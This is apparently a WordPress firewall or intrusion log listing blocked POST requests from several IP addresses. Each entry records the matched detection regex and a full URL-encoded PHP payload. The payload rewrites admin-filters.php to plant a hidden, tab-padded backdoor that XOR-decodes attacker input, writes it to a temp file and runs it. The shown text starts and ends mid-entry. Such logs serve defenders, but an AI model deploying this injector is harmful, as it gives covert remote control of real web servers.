%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:48:44","107.155.87.193","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?1\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Android\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3687\nsec-fetch-user:?1\n\naR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:48:51","172.86.89.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3687\nsec-fetch-user:?1\n\nMj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:49:04","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLypvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-dest:document\nsec-ch-ua-platform:\"macOS\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3687\nsec-fetch-user:?1\n\nbW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:49:12","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Fm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/admin-filters.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520%2524elem%2520%253D%2520hex2bin%2528%2524_POST%255B%2522da%255Cx74%2522%255D%2529%253B%2520%2524tkn%2520%253D%2520%2527%2527%2520%253B%2520%2524u%2520%253D%25200%253B%2520while%2528%2524u%2520%253C%2520strlen%2528%2524elem%2529%2529%257B%2524tkn%2520.%253D%2520chr%2528ord%2528%2524elem%255B%2524u%255D%2529%2520%255E%252041%2529%253B%2524u%252B%252B%253B%257D%2520while%2520%2528%2524marker%2520%253D%2520array_shift%2528%2524pgrp%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524marker%2529%2520%2526%2526%2520is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524key%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524marker%2529%253B%2520if%2520%2528file_put_contents%2528%2524key%252C%2520%2524tkn%2529%2529%2520%257B%2520include%2520%2524key%253B%2520%2540unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 